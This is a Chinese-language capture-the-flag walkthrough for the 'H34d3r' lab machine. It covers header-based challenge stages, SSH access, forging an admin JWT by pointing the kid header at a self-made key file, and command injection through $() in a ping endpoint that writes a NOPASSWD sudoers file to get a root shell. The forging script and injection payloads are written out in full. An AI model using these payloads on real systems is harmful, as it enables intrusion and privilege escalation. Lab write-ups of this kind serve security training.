

H34d3r

目标10.31.130.214



端口扫描

```
< Anonymous on Tuesday at 9:44 AM
> { C: # Penetration # ScanTools # Nmap } * nmap.exe -sS -sV -sC -O -p- -T4 -n -oA fullscan 10.31.130.214
Starting Nmap 7.97 ( https://nmap.org ) at 2026-06-23 09:44 +0800
Nmap scan report for 10.31.130.214
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.3 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.67 ((Unix))
| http_title: Site doesn't have a title (text/html; charset=UTF-8)
```

80端口页面给了提示，ua头改为Matryoshka-Bot/1.0即可通过第一层

```
kali on Tuesday at 9:54 AM
0s [ MEM: 10.59% (0/3GB)
[ { [ home ] [ curl -v http://10.31.130.214/
* Trying 10.31.130.214:80...
* Connected to 10.31.130.214 (10.31.130.214) port 80
```

```

* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.31.130.214
> User-Agent: curl/8.13.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Tue, 23 Jun 2026 01:54:10 GMT
< Server: Apache/2.4.67 (Unix)
< X-Powered-By: PHP/8.3.31
< X-Required-UA: Matryoshka-Bot/1.0
< X-Hint-Stage: 1
< X-Accepted-Headers: User-Agent
< Content-Length: 107
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 10.31.130.214 left intact
{"status":"fail","current_stage":1,"accepted_headers":["User-Agent"],"msg":"Access Denied: Invalid Agent."}

```

第二层，开始接收并校验一个新的自定义 Header: `X-Stage,`

保持上一关的 UA 不变，同时在请求中注入 `X-Stage: challenge_start`

```

❏ kali on Tuesday at 9:54 AM
0s ❏ MEM: 10.6% (0/3GB)
❏ { ❏ home } ❏ curl -v -A "Matryoshka-Bot/1.0" http://10.31.130.214/
* Trying 10.31.130.214:80...
* Connected to 10.31.130.214 (10.31.130.214) port 80
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.31.130.214
> User-Agent: Matryoshka-Bot/1.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK

```

```
< Date: Tue, 23 Jun 2026 01:55:00 GMT
< Server: Apache/2.4.67 (Unix)
< X-Powered-By: PHP/8.3.31
< X-Next-Stage: challenge_start
< X-Hint-Stage: 2
< X-Accepted-Headers: User-Agent, X-Stage
< Content-Length: 125
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 10.31.130.214 left intact
{"status":"fail","current_stage":2,"accepted_headers":["User-Agent","X-Stage"],"msg":"Stage 1 Clear. Advance to next stage."}
```

```
❏ kali on Tuesday at 9:54 AM
0s ❏ MEM: 10.63% (0/3GB)
❏ { ❏ home } ❏ curl -v \
  -H "User-Agent: Matryoshka-Bot/1.0" \
  -H "X-Stage: challenge_start" \
  http://10.31.130.214/
* Trying 10.31.130.214:80...
* Connected to 10.31.130.214 (10.31.130.214) port 80
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.31.130.214
> Accept: */*
> User-Agent: Matryoshka-Bot/1.0
> X-Stage: challenge_start
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Tue, 23 Jun 2026 01:56:16 GMT
< Server: Apache/2.4.67 (Unix)
< X-Powered-By: PHP/8.3.31
< X-Expected-Auth: sha256(UA + Salt)
< X-Hint-Salt: mAtRy0sHk4_2026
< X-Hint-Stage: 3
< X-Accepted-Headers: User-Agent, X-Stage, X-Auth
```

```
< Content-Length: 142
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 10.31.130.214 left intact
{"status":"fail","current_stage":3,"accepted_headers":["User-Agent","X-Stage","X-Auth"],"msg":"Stage 2 Clear. Auth has h missing or mismatch."}
```

- **新增的 Header:** 后端开始接收 `X-Auth` 这个头部。
- **算法逻辑:** `X-Auth` 的值必须是 `sha256(UA + Salt)`

```
echo -n "Matryoshka-Bot/1.0mAtRy0sHk4_2026" | sha256sum
```

```
❏ kali on Tuesday at 9:56 AM
0s ❏ MEM: 10.66% (0/3GB)
❏ { ❏ home } ❏ curl -v \
  -H "User-Agent: Matryoshka-Bot/1.0" \
  -H "X-Stage: challenge_start" \
  -H "X-Auth: 7b59aad06ca201fcdf0a2845932b323c5bfa6e191614f115b613d3b145b49dbf" \
  http://10.31.130.214/
* Trying 10.31.130.214:80...
* Connected to 10.31.130.214 (10.31.130.214) port 80
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.31.130.214
> Accept: */*
> User-Agent: Matryoshka-Bot/1.0
> X-Stage: challenge_start
> X-Auth: 7b59aad06ca201fcdf0a2845932b323c5bfa6e191614f115b613d3b145b49dbf
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Tue, 23 Jun 2026 01:57:33 GMT
< Server: Apache/2.4.67 (Unix)
< X-Powered-By: PHP/8.3.31
```

```

< X-Expected-Signature: md5(Auth + Secret + TimeStep)
< X-Hint-Secret: 0WUyZF9oaWRkZW5fc3RhdGU=
< X-Time-Step: 178217985
< X-Hint-Stage: 4
< X-Accepted-Headers: User-Agent, X-Stage, X-Auth, X-Signature
< Content-Length: 167
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host 10.31.130.214 left intact
{"status":"fail","current_stage":4,"accepted_headers":["User-Agent","X-Stage","X-Auth","X-Signature"],"msg":"Stage 3 Clear. Signature verification failed or expired."}

```

最后一关引入了时间戳（TimeStep）和动态签名（TOTP 变体）机制，得用脚本

```

python3 -c '
import requests, hashlib, base64

url = "http://10.31.130.214/"
ua = "Matryoshka-Bot/1.0"
auth = "7b59aad06ca201fcdf0a2845932b323c5bfa6e191614f115b613d3b145b49dbf"
headers = {
    "User-Agent": ua,
    "X-Stage": "challenge_start",
    "X-Auth": auth
}

print("[*] 正在获取服务器当前动态 TimeStep...")
r1 = requests.get(url, headers=headers)

step = r1.headers.get("X-Time-Step")
secret_b64 = r1.headers.get("X-Hint-Secret")
secret = base64.b64decode(secret_b64).decode()

print(f"[+] 捕获到当前 TimeStep: {step}")
print(f"[+] 捕获到当前 Secret: {secret}")

```

```

# 实时计算 MD5 签名
raw_str = auth + secret + step
signature = hashlib.md5(raw_str.encode()).hexdigest()
print(f"[+] 实时生成的 X-Signature: {signature}")

# 带着签名秒发请求
headers["X-Signature"] = signature
r2 = requests.get(url, headers=headers)

print("\n[*] 服务器返回结果:")
print("-" * 50)
print(r2.text)
print("-" * 50)
print("[*] 响应头线索:")
for k, v in r2.headers.items():
    if "X-" in k:
        print(f"{k}: {v}")

```

```

[*] 正在获取服务器当前动态 TimeStep...
[+] 捕获到当前 TimeStep: 178217994
[+] 捕获到当前 Secret: 9e2d_hidden_state
[+] 实时生成的 X-Signature: 86ee55d2518b00289e3a0f480956294b

[*] 服务器返回结果:
-----
{"status": "success", "msg": "Done! Challenge Solved."}
-----

[*] 响应头线索:
X-Powered-By: PHP/8.3.31
X-Flag: bWlrYXNhOjAwYjc4ZGMx

```

base64解码可以得到mikasa:00b78dc1凭据，ssh登陆

```
< Anonymous on Tuesday at 10:46 AM
> { C: = Windows = System32 } * ssh mikasa@10.31.130.214
The authenticity of host '10.31.130.214 (10.31.130.214)' can't be established.
ED25519 key fingerprint is SHA256:xJ90oWmr5sPR2afHz9etzSdtXINmLI+JvbwgV/iCsWY.
This host key is known by the following other names/addresses:
  C:\Users\Anonymous/.ssh/known_hosts:1: 10.192.219.232
  C:\Users\Anonymous/.ssh/known_hosts:5: 10.46.98.253
  C:\Users\Anonymous/.ssh/known_hosts:10: 10.64.195.64
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.31.130.214' (ED25519) to the list of known hosts.
mikasa@10.31.130.214's password:
```

```

  _ _ _ _ _
 / _ _ _ _ \
( _ _ _ _ )
 \ _ _ _ _ /
  _ _ _ _ _

```

/opt下面有关键目录，但是没有权限进行访问

```
mikasa@H34d3r:~$ ls -la /opt
total 16
drwxr-xr-x  4 root    root    4096 May 17 23:00 .
drwxr-xr-x 21 root    root    4096 May 17 23:31 ..
drwxr-xr-x  2 root    root    4096 May 17 23:00 keys
drwxr-xr-x  2 root    root    4096 May 17 23:22 maze-web
```

家目录下有jwt密钥，同时发现本地5050端口运行服务，推测是这个/usr/bin/python3 /opt/maze-web/app.py

```
mikasa@H34d3r:~$ ss -tln
Netid      State      Recv-Q     Send-Q      Local Address:Port      Peer Address:Port
tcp        LISTEN     0           128         127.0.0.1:5000          0.0.0.0:*
tcp        LISTEN     0           128         0.0.0.0:22             0.0.0.0:*
tcp        LISTEN     0           511         *:80                   *:80
tcp        LISTEN     0           128         [::]:22                [::]:*
```

/opt/maze-web/app.py不能被读取，但是可以尝试访问本地服务

```
mikasa@H34d3r:~$ curl http://127.0.0.1:5000/
-bash: curl: command not found
mikasa@H34d3r:~$ busybox wget http://127.0.0.1:5000/
Connecting to 127.0.0.1:5000 (127.0.0.1:5000)
saving to 'index.html'
index.html 100% |*****
*****
*****| 2889 0:00:00 ETA
'index.html' saved
mikasa@H34d3r:~$ cat index.html
<!DOCTYPE html>
<html>
<head>
  <title>Maze Control Center</title>
  <style>
```

```

        body { font-family: Arial, sans-serif; max-width: 600px; margin: 50px auto; background: #f4f6f9; }
        .container { background: white; padding: 30px; border-radius: 8px; box-shadow: 0 4px 6px rgba(0,0,0,0.1); }
        input { display: block; margin: 15px 0; padding: 10px; width: 100%; box-sizing: border-box; border: 1px solid #ccc; border-radius: 4px; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; width: 100%; }
        button:hover { background: #0056b3; }
        #result { margin-top: 20px; padding: 15px; background: #222; color: #0f0; white-space: pre-wrap; font-family: monospace; border-radius: 4px; min-height: 50px; }
    </style>
</head>
<body>
    <div class="container">
        <h1>Maze Control Center v2.0</h1>
        <div id="login-panel">
            <h3>System Authentication</h3>
            <input type="text" id="username" placeholder="Username">
            <input type="password" id="password" placeholder="Password">
            <button onclick="login()">Login</button>
        </div>
        <div id="admin-panel" style="display:none;">
            <h3>Internal Network Diagnoser</h3>
            <input type="text" id="host" placeholder="Target Host (e.g. 127.0.0.1)">
            <button onclick="pingHost()">Execute Ping</button>

            <div id="result"></div>
        </div>
    </div>
    <!-- DEV NOTES:
        Test User: guest / guest123

```



```

-->
<script>
    let token = localStorage.getItem('jwt_token') ||
    '';

    async function login() {
        const res = await fetch('/api/login', {
            method: 'POST',
            headers: {'Content-Type': 'application/jso
n'},
            body: JSON.stringify({
                username: document.getElementById('user
name').value,
                password: document.getElementById('pass
word').value
            })
        });
        const data = await res.json();
        if (data.token) {
            localStorage.setItem('jwt_token', data.toke
n);

            token = data.token;
            document.getElementById('login-panel').styl
e.display = 'none';
            document.getElementById('admin-panel').styl
e.display = 'block';
        } else { alert(data.error || 'Failed'); }
    }

    async function pingHost() {
        const host = document.getElementById('host').va
lue;

        const res = await fetch('/api/admin/ping?host='
+ encodeURIComponent(host), {
            headers: {'Authorization': 'Bearer ' + toke
n}
        });
        const data = await res.json();
        document.getElementById('result').innerText = d
ata.output || data.error || JSON.stringify(data);
    }

```

```

    }
  </script>
</body>

```

可以得到以下信息

登录接口: /api/login

管理接口: /api/admin/ping?host=...

认证方式: Authorization: Bearer <token>

页面泄露测试账号:

guest / guest123

使用guest/guest123进行登录

```
python3 - <<'PY'
import json, urllib.request
req = urllib.request.Request(
    'http://127.0.0.1:5000/api/login',
    data=json.dumps({'username': 'guest', 'password': 'guest12
3'})).encode(),
    headers={'Content-Type': 'application/json'})
print(urllib.request.urlopen(req).read().decode())
PY
```

返回token

```
{"token": "eyJhbGciOiJIUzI1NiIsImtpZCI6Im1hemUtZGVmYXVsdC5rZXkiLCJ0eXAiOiJKV1QiLCJ0eXBmFtZSI6ImdlZlZlbnRvbi9sZSI6ImNvZGljaWwifQ.M0eXxfafHT4glesnrI-afDFxuFe  
rAL1juMW61xR0u0Y"}
```

拿去解析得到

```
#Header
{
  "alg": "HS256",
  "kid": "maze-default.key",
  "typ": "JWT"
}
```

```
#payload
{
  "username": "guest",
  "role": "user",
  "iat": 1782184922,
  "iat_formatted": "2026/06/23 11:22:02"
}
#签名
M0eXxfafHT4glesnrI-afDFxuFerAL1juMW61xR0u0Y
```

使用了hs256算法（查了一下发现是对称加密算法，意味着只要得到密钥可以伪造token）

role是user，应该得想办法变成admin

kid指定的是一个文件，正好是之前/opt下面的文件（/opt/keys/maze-default.key），但是没有权限读取

所以可以推测出服务端运行逻辑

```
根据 kid 找到对应 key 文件
读出文件内容
拿文件内容作为 HS256 secret 去验签
```

所以这里尝试能否改kid为自己编造的文件，然后用读取到的secret进行验签，这样就可以绕过了

我这里在家目录下创建了我的密钥文件myjwt.key（内容为letmein-root-secret-123，使用这个进行签名），并且Header为如下：

```
{"alg": "HS256", "typ": "JWT", "kid": "/home/mikasa/myjwt.key"}
```

之前的网页源码ai分析有命令注入漏洞

2. 漏洞类型分析：命令注入 (Command Injection)

由于该后端程序是由 Python 编写，且其功能是执行系统命令 `ping`。在许多不安全的开发实现中，后端可能会直接使用类似于 `os.system()`、`os.popen()` 或 `subprocess.Popen(..., shell=True)` 的方式来拼接字符串执行命令：

后端伪代码示例：`command = "ping -c 4" + host`

如果后端没有对 `host` 输入进行严格的白名单校验（例如仅允许合法的 IP 地址格式），而是直接代入系统 Shell 执行，就会导致命令注入漏洞。由于该进程的拥有者是 `root`，任何被注入的命令都将以 `root` 权限执行。

得到 admin token 之后赋予 host 值可能存在命令注入，经过几次测试发现有黑名单但是用 `$()` 可以绕过

让 ai 写个脚本进行测试能否成功

```
python3 - <<'PY'
import base64, json, hmac, hashlib, urllib.request, urllib.
parse, os

secret=b'letmein-root-secret-123'
header={'alg': 'HS256', 'typ': 'JWT', 'kid': '/home/mikasa/myjw
t.key'}
payload={'username': 'admin', 'role': 'admin', 'iat': 178218213
1}

def b64u(x):
    return base64.urlsafe_b64encode(x).rstrip(b'=')

msg=b'.'.join([
    b64u(json.dumps(header, separators=(',', ':')).encode()),
    b64u(json.dumps(payload, separators=(',', ':')).encode())
])
sig=b64u(hmac.new(secret, msg, hashlib.sha256).digest())
tok=(msg+b'.'.sig).decode()

host='127.0.0.1$(touch /tmp/jwtrce_test)'
url='http://127.0.0.1:5000/api/admin/ping?host='+urllib.par
se.quote(host, safe='')
```

```
req=urllib.request.Request(url,headers={'Authorization':'Bearer '+tok})

print(urllib.request.urlopen(req,timeout=5).read().decode
())
print(os.path.exists('/tmp/jwtrce_test'))
PY
```

```
mikasa@H34d3r:~$ python3 - <<'PY'
import base64, json, hmac, hashlib, urllib.request, urllib.parse, os

secret=b'letmein-root-secret-123'
header={'alg':'HS256','typ':'JWT','kid':'/home/mikasa/myjwt.key'}
payload={'username':'admin','role':'admin','iat':1782182131}

def b64u(x):
    return base64.urlsafe_b64encode(x).rstrip(b'=')

msg=b'.'.join([
    b64u(json.dumps(header,separators=(',', ':')).encode()),
    b64u(json.dumps(payload,separators=(',', ':')).encode())
])
sig=b64u(hmac.new(secret,msg,hashlib.sha256).digest())
tok=(msg+b'.'.sig).decode()

host='127.0.0.1$(touch /tmp/jwtrce_test)'
url='http://127.0.0.1:5000/api/admin/ping?host='+urllib.parse.quote(host,safe='')
req=urllib.request.Request(url,headers={'Authorization':'Bearer '+tok})

print(urllib.request.urlopen(req,timeout=5).read().decode())
print(os.path.exists('/tmp/jwtrce_test'))
PY
{"output":"PING 127.0.0.1 (127.0.0.1): 56 data bytes\n64 bytes from 127.0.0.1: seq=0 ttl=64 time=0.032 ms\n\n--- 127.0.0.1 ping statistics ---\n1 packets transmitted, 1 packets received, 0% packet loss\nround-trip min/avg/max = 0.032/0.032/0.032 ms\n","status":"ok"}
True
```

成功，这个脚本是使用root执行的，所以直接写入sudo文件即可拿到shell

```
python3 - <<'PY'
import base64, json, hmac, hashlib, urllib.request, urllib.
parse

secret = b'letmein-root-secret-123'
header = {'alg':'HS256','typ':'JWT','kid':'/home/mikasa/myj
wt.key'}
payload = {'username':'admin','role':'admin','iat':17821821
31}

def b64u(x):
    return base64.urlsafe_b64encode(x).rstrip(b'=')

msg = b'.'.join([
    b64u(json.dumps(header, separators=(',', ':')).encode
()),
    b64u(json.dumps(payload, separators=(',', ':')).encode
())
```

```

])
sig = b64u(hmac.new(secret, msg, hashlib.sha256).digest())
token = (msg + b'.' + sig).decode()

host = "127.0.0.1$(sh -c 'printf \"mikasa ALL=(ALL) NOPASSW
D:ALL\\n\" >/etc/sudoers.d/mikasa')\"
url = 'http://127.0.0.1:5000/api/admin/ping?host=' + urlli
b.parse.quote(host, safe='')
req = urllib.request.Request(url, headers={'Authorization':
'Bearer ' + token})
print(urllib.request.urlopen(req, timeout=5).read().decode
())
PY

```

sudo -n -l得到rootshell

```

mikasa@H34d3r:~$ sudo -n -l
Matching Defaults entries for mikasa on H34d3r:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for mikasa:
    Defaults!/usr/sbin/visudo env_keep+=\"SUDO_EDITOR EDITOR VISUAL\"

User mikasa may run the following commands on H34d3r:
    (ALL) NOPASSWD: ALL
mikasa@H34d3r:~$ |

```

```

mikasa@H34d3r:~$ sudo -n /bin/sh
root@H34d3r:/home/mikasa# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@H34d3r:/home/mikasa# |

```